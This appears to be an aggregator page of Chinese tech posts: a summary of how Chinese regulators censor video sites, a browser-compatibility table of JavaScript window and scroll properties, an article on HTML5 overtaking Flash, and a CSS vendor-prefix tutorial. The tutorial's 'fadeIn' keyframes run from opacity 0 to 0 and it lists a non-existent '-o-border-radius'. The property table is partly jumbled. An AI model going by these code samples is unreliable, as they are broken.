《纽约时报》的一篇文章介绍了广电总局对中国视频网站的审查方法:广电总局、网管办、公安局、工信部和各地的通信管理局通过QQ与视频网站联系,每个网站必须有一个保持24小时沟通的QQ号,有紧急联系人;监管机构还共建了一个“信息库”,被判断为不适宜播出的视频内容,会由各监管部门发布汇集于该库,网站则派专人来负责关注信息库的更新情况,以便及时修改或删除相关内容,上周五删除四部美剧的命令是通过信息库传达的;视频网站还需要对内容进行自我审查,自我审查团队的设置是由监管部门强制要求的,审查团队采用人工加机器的审查方式,将视频内容放在时间轨上,用拖拽的方式,肉眼搜看视频缩略图的同时,利用系统特征码和图像匹配进行机器审核;对于一些可删可不删,或者删了可能会影响剧情连贯的剧情,会经过几人小组讨论完成决策;为了降低成本,审查团队会采用外包方式。一位乐视网前员工说,眼下各个监管机构正密切关注的重点,其实一是个人用户通过手机移动端随时随地实现完成的上传内容,另外一个就是视频网站的内容分享从传统电脑屏幕到电视屏幕的转移趋势。






JS中取得的关于窗口宽高和滚动值的属性列表:(转载)

$
0
0

首先,这是个痛苦的尝试。
  在工作中尝试把一个FLASH居中全屏放置,窗口RESIZE的时候和页面SCROLL的时候都要动态变化,需要取得当前窗口显示区域的WIDTH与HEIGHT,翻了翻资料脑子就一半面一半水搅匀了。类似的参数我全列出来:

window.screen.width:document.body.offsetWidth:document.documentElement.offsetWidth:
window.screen.height:document.body.offsetHeight:document.documentElement.offsetHeight:
window.screen.availWidth:document.body.scrollWidth:document.documentElement.scrollWidth:
window.screen.availHeight:document.body.scrollHeight:document.documentElement.scrollHeight:
window.scrollMaxX:document.body.scrollLeft:document.documentElement.scrollLeft:
window.scrollMaxY:document.body.scrollTop:document.documentElement.scrollTop:
window.scrollX:document.body.clientTop:document.documentElement.clientTop:
window.scrollY:document.body.clientLeft:document.documentElement.clientLeft:
window.pageXOffset:document.body.clientWidth:document.documentElement.clientWidth:
window.pageYOffset:document.body.clientHeight:document.documentElement.clientHeight:
window.screenX:document.width: 
window.screenY:document.height: 
window.innerWidth:  
window.innerHeight:  
window.screen.availTop  
window.screen.availLeft  


  而且我痛苦的发现,同一个属性,在不同的浏览器的JS取值是不一样的,甚至是无效的,就算都在IE中不同版本的值也不一样的,W3C的标准就从没被完整执行过,微软丈着本钱厚,肆意修改其定义,而且朝三暮四,同样一个事在版本升级时也搞出不同的标准来,一看开发组群就不是一个娘养的。

 


  就在同一个版本同一浏览器中,标准模式与混杂模式的定义也大不相同,比如document.documentElement.scrollWidth和document.body.scrollWidth,在混杂模式中,后者有效前者无效,在标准模式中前者有效后者无效,直接让人崩溃。无奈之下,把这个参数用JS统一列出来,一个个做实验,这才做成了一个完整的结果。如下表,当然,这只是在标准模式下,混杂模式我一般不用,也没精力去研究了。


  

 IE6IE8FFOPREACHROME
window.screen.width:屏幕宽
window.screen.height:屏幕高
window.screen.availWidth:窗口最大化后宽度
window.screen.availHeight:窗口最大后的高度
window.scrollMaxX: 最大横向滚动幅度,即BODY加左MARGIN减去窗口显示区不含滚动棒的宽度后的值 
window.scrollMaxY:最大纵向滚动幅度,即BODY加上下MARGIN减去窗口显示区不含滚动棒的高度后的值
window.scrollX:左滚动值
window.scrollY:上滚动值
window.pageXOffset:左滚动值
window.pageYOffset:上滚动值
window.screenX:窗口左上角离屏幕左上角横向距离标准模式下均为0.窗口左上角离屏幕左上角横向距离
window.screenY:窗口左上角离屏幕左上角纵向距离标准模式下均为0.窗口左上角离屏幕左上角纵向距离
window.innerWidth:窗口显示区宽含滚动棒,同IE8的document.documentElement.offsetWidth:
window.innerHeight:窗口显示区高含滚动棒,同IE的document.documentElement.offsetHeight:
window.screen.availTop 窗口最大化后的window.screenX: 窗口最大化后的window.screenX:
window.screen.availLeft窗口最大化后的window.screenY:窗口最大化后的window.screenY:
document.body.offsetWidth:窗口显示区不含滚动棒宽度减去左右margin值后的数字/BODY宽度两者取大值窗口显示区不含滚动棒宽度减左右MARGIN,最小为0
document.body.offsetHeight:BODY高度,不含滚动棒与MARGIN
document.body.scrollWidth:同IE6的document.body.offsetWidth:同IE8,FF,oprea的document.body.offsetWidth:浏览器窗口的宽度,最小值取BODY加MARGINLEFT值,不含滚动棒
document.body.scrollHeight:同IE,FF,OPREA的document.body.offsetHeight:BODY高度加MARGIN值/窗口显示区高度不含滚动棒取两者取其大
document.body.scrollLeft:标准模式下均为0.左滚动值
document.body.scrollTop:上滚动值
document.body.clientTop:标准模式下均为0.
document.body.clientLeft:标准模式下均为0.
document.body.clientWidth:窗口显示区不含滚动棒宽度/BODY宽度两者之最大值同IE8,FF,oprea的document.body.offsetWidth:
document.body.clientHeight:同IE,FF,OPREA的document.body.offsetHeight:
document.documentElement.offsetWidth:窗口显示区的宽度,含滚动棒浏览器窗口的宽度,不含滚动棒
document.documentElement.offsetHeight:窗口显示区的高度,含滚动棒BODY高度加MARGIN
document.documentElement.scrollWidth:窗口显示区宽度不含滚动棒/BODY加两边MARGIN两者中大值窗口显示区不含滚动棒宽度/BODY宽度加左GARGIN值两者中最大值
document.documentElement.scrollHeight:BODY的高度BODY加上下MARGIN值窗口显示区不含滚动棒高度/body加上下MARGIN两者中最大值同IE8
document.documentElement.scrollLeft:左滚动值0
document.documentElement.scrollTop:上滚动值0
document.documentElement.clientTop:2标准模式下均为0.
document.documentElement.clientLeft:2标准模式下均为0.
document.documentElement.clientWidth:窗口显示区的宽度,不含滚动棒
document.documentElement.clientHeight:窗口显示区的高度,不含滚动棒
document.width: 同IE8,FF,oprea的document.body.offsetWidth: 同document.body.scrollWidth
document.height:同IE8,FF,oprea的document.body.offsetWidth:document.body.s


已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



为什么HTML5将主宰在线视频?

$
0
0

磁带、光盘、Flash等媒介都需要播放器,这些媒介正在或者已经死亡。就像CD取代磁带成为一种更高效的音乐播放方式一样,数字文件也将取代CD。依此类推,HTML5也会让Flash成为昨日黄花。

HTML5与Flash的对抗在网页开发者中已经成为多年热议的话题,但是无论站在哪一边,不可否认的一点是,HTML5对视频和网站的影响是实实在在的。

对于在线视频来说,HTML5有两点是Flash不能做到的:移动能力和语义标记。移动参与性的增长;娱乐、广告和购物交互性视频的飙升以及HTML5结合一切技术创建下一代网站的开放结构让Flash最终加入“退休技术”的大军。

为什么HTML5将主宰在线视频?

移动杀死Flash明星

自HTML5引入业界以来,移动性被奉为这种出版语言最大的优势之一。由于很多iOS和安卓设备不支持Flash,Flash更受PC牵制。根据一份市场调查数据,PC在2011年至2013年间的出货量下降10%。

IAB.net的数据显示,美国半数人口都有一部能上网的移动手机,1/5的网页浏览在移动设备上完成,这些数据每月将持续增长。相比之下,制作Flash交互性视频的公司由于无法使视频在移动设备上运行,从而丢失大批用户。

举个例子,歌手鲍勃·迪伦(Bob Dylan)的热门交互性视频《Like a Rolling Stone》去年11月发布,数百万PC端的观看者都通过一个类似电视的界面分享该视频。然而,用户在手机或平板打开视频的体验就不那么愉悦了。安卓用户收到一条提醒信息,要求他们在PC上体验完整视频;而iOS用户被要求下载一款应用。而且这段视频在手机和平板的网页浏览器中无法重复播放。

如果1/5的网页浏览都发生在移动客户端,那就意味着1/5的用户在移动设备上登陆视频网站时要忍受支离破碎的用户体验,

广告、购物行业同样开始注意到移动的重要性以及Flash技术在网络视频表现出的局限性。

美国互动广告局(InteractiveAdvertisingBureau,IAB)最近给广告商发布了一封公开信,这封信同时由包括AOL、Conde Nast、福布斯、谷歌(微博)、《纽约时报》、《华尔街日报》在内的几个主要出版社和公司联名签署。他们要求市场人员在移动广告中实施HTML5标准,那样广告就能运行于不同平台。这封信称,为了保证付费广告“能在所有屏幕上完美展示”,广告应该以兼容移动设备的技术格式开发。“而且开放的、符合行业标准的通用格式就是HTML5。”信里写道。

Sizmek年度全球基准报告《打破界限:用户参与走向性全球化》表示,利用HTML5技术向移动友好型的格式转变是2013年数字广告业最重要的变革之一。

这份报告通过调查2013年全球9130亿次广告曝光次数揭示移动广告的重要趋势。报告同时表示,随着行业采取更加严格的出版标准保证屏幕间的无缝切换,HTML5格式的数字广告预计在2014年继续增长。

在各种平台上播放广告不仅对于主流出版社非常重要,而且对于用户来说,他们点击广告购买商品时变得便捷方便,不会遇到任何麻烦。但由于Flash技术的局限性,用户有时会觉得不爽。

在最近一次令人沮丧的在线购物体验中,我们的市场营销副总裁试图利用iPad在亚马逊找一款真空吸尘器。正当他准备下手一款400美元以上的产品时,由于缺少Flash插件,这款产品的视频无法播放。亚马逊为此也失去一笔订单。

那么,为什么亚马逊的视频不采用HTML5技术?

没错,开发者可能正在努力适应这种新标准,而且毫无疑问的是,Flash的开发难度远远低于HTML5。

一种数字转变趋势

市场调研公司Forrester在题为《改善企业移动性:满足未来发展、交付和参与需求的未来技术》的报告中提到,HTML5应用程序所需的开发时间要比预期多59%,多出的时间主要用来测试或解决一些技术问题。

HTML5本身也不够完美,尚处于早期发展阶段。幸运的是,人才济济的科技公司正着重解决这些技术问题——利用SaaS平台,开发者只需专注自己的创意。

即便存在技术难度,也无法阻挡企业和游戏开发者的热情。开源网络应用程序框架供应商Sencha发布的报告称,超过60%的企业应用开发者已经开始向HTML5和混合技术转变,超过70%的HTML5及混合技术开发者今年更多采用的是HTML5技术。

移动视频不是唯一受益者

在游戏行业,以HTML5技术为基础的游戏也在蓬勃发展。荷兰的Spil Games就采取HTML5技术路线。这家公司计划今年底推出1000多款HTML5游戏。Spil Games已经在网站发布5000多款Flash游戏,但它们无法在平板或手机中运行。

根据博客Digital Buzz公布的数据,iOS和安卓设备32%的使用时间都是玩游戏。

借助HTML5技术,开发者能够创建在所有设备上都能运行的游戏。看一下谷歌通过Google Chrome实验及Canvas等网站技术创建的作品是多么优秀。

HTML5的另一个优势:搜索引擎优化

移动性是HTML5战胜Flash的最显著优势,但HTML5在语义结构方面的功能优势对于交互性视频来说同样重要。

网络爬虫和搜索引擎看不到Flash的内部。Flash是一个密封的容器,任何人无法窥其内部,

为什么这点很重要?借助交互性视频的语义结构,你可以利用HTML5创建网络爬虫能够理解的项目。但Flash只能给你一个黑盒子,一段没有任何多余信息的Flash视频。

按照语义结构创建视频可以让网络机器人抓取任何一段与众不同的视频剪辑。它将获得标签等任何一段标准的网页视频所具备的信息,并方便被抓取,相应地,视频在搜索结果中的排名就会越来越高。

没有采纳HTML5技术的内容创建者已经落后,如果他们不实施HTML5标准,将很快淹没在尘埃里。好消息是,一些公司专注发掘HTML5的最大优势,而又没有任何技术障碍。那些依然认为Flash是在线视频主流技术的厂家真应该好好思考了。

本文来源: 腾讯科技


© 推荐 for 互联网的那点事. | 猛击下载: iPhone客户端猛击下载: Android客户端

Vendor Prefix:为什么需要浏览器引擎前缀

$
0
0

浏览器引擎前缀(Vendor Prefix)是什么?

Vendor prefix—浏览器引擎前缀,是一些放在CSS属性前的小字符串,用来确保这种属性只在特定的浏览器渲染引擎下才能识别和生效。谷歌浏览器和Safari浏览器使用的是WebKit渲染引擎,火狐浏览器使用的是Gecko引擎,Internet Explorer使用的是Trident引擎,Opera以前使用Presto引擎,后改为WebKit引擎。一种浏览器引擎里一般不实现其它引擎前缀标识的CSS属性,但由于以WebKit为引擎的移动浏览器相当流行,火狐等浏览器在其移动版里也实现了部分WebKit引擎前缀的CSS属性。

浏览器引擎前缀(Vendor Prefix)有哪些?

-moz-     /* 火狐等使用Mozilla浏览器引擎的浏览器 */
-webkit-  /* Safari, 谷歌浏览器等使用Webkit引擎的浏览器 */
-o-       /* Opera浏览器(早期) */
-ms-      /* Internet Explorer (不一定) */ 

为什么需要浏览器引擎前缀(Vendor Prefix)?

这些浏览器引擎前缀(Vendor Prefix)主要是各种浏览器用来试验或测试新出现的CSS3属性特征。可以总结为以下3点:

  • 试验一些还未成为标准的的CSS属性——也许永远不会成为标准
  • 对新出现的标准的CSS3属性特征做实验性的实现
  • 对CSS3中一些新属性做等效语义的个性实现

这些前缀并非所有都是需要的,但通常你加上这些前缀不会有任何害处——只要记住一条,把不带前缀的版本放到最后一行:

-moz-border-radius: 10px; 
-webkit-border-radius: 10px; 
-o-border-radius: 10px; border-radius: 10px; 

有些新的CSS3属性已经试验了很久,一些浏览器已经对这些属性不再使用前缀。 Border-radius属性就是一个非常典型的例子。最新版的浏览器都支持不带前缀的 Border-radius属性写法。

需要使用Vendor Prefixes的CSS3属性

主要的需要添加浏览器引擎前缀(vendor-prefix)的属性包括:

  • @keyframes
  • 移动和变换属性(transition-property, transition-duration, transition-timing-function, transition-delay)
  • 动画属性 (animation-name, animation-duration, animation-timing-function, animation-delay)
  • border-radius
  • box-shadow
  • backface-visibility
  • column属性
  • flex属性
  • perspective属性

完整的列表不只这些,而且还会增加。

浏览器引擎前缀(vendor-prefix)的用法

当需要使用浏览器引擎前缀(vendor-prefix)时,最好是把带有各种前缀的写法放在前面,然后把不带前缀的标准的写法放到最后。比如:

/* 简单属性 */
.myClass {
	-webkit-animation-name: fadeIn;
	-moz-animation-name: fadeIn;
	-o-animation-name: fadeIn;
	-ms-animation-name: fadeIn;
	animation-name: fadeIn;  /* 不带前缀的放到最后 */
}
/* 复杂属性 keyframes */
@-webkit-keyframes fadeIn {
	0% { opacity: 0; } 100% { opacity: 0; }
}
@-moz-keyframes fadeIn {
	0% { opacity: 0; } 100% { opacity: 0; }
}
@-o-keyframes fadeIn {
	0% { opacity: 0; } 100% { opacity: 0; }
}
@-ms-keyframes fadeIn {
	0% { opacity: 0; } 100% { opacity: 0; }
}
/* 不带前缀的放到最后 */
@keyframes fadeIn {
	0% { opacity: 0; } 100% { opacity: 0; }
}

Internet Explorer

Internet Explorer 9 开始支持很多(但并不是全部)CSS3里的新属性。比如,你也可以在IE里使用不带浏览器引擎前缀(vendor-prefix)的 border-radius属性。

IE6到IE8都不支持CSS3,很遗憾的是,使用这些低版本浏览器的用户还很多。所以,确保你的网站设计在不支持CSS3的情况下也能正常显示。对于一些属性: border-radius , linear-gradient, 和 box-shadow, 你可以使用 CSS3Pie,它是一个很小的文件,把它放到你的网站的根目录下,就能让你的页面中IE6,IE8中也支持这些属性。

Viewing all 15845 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>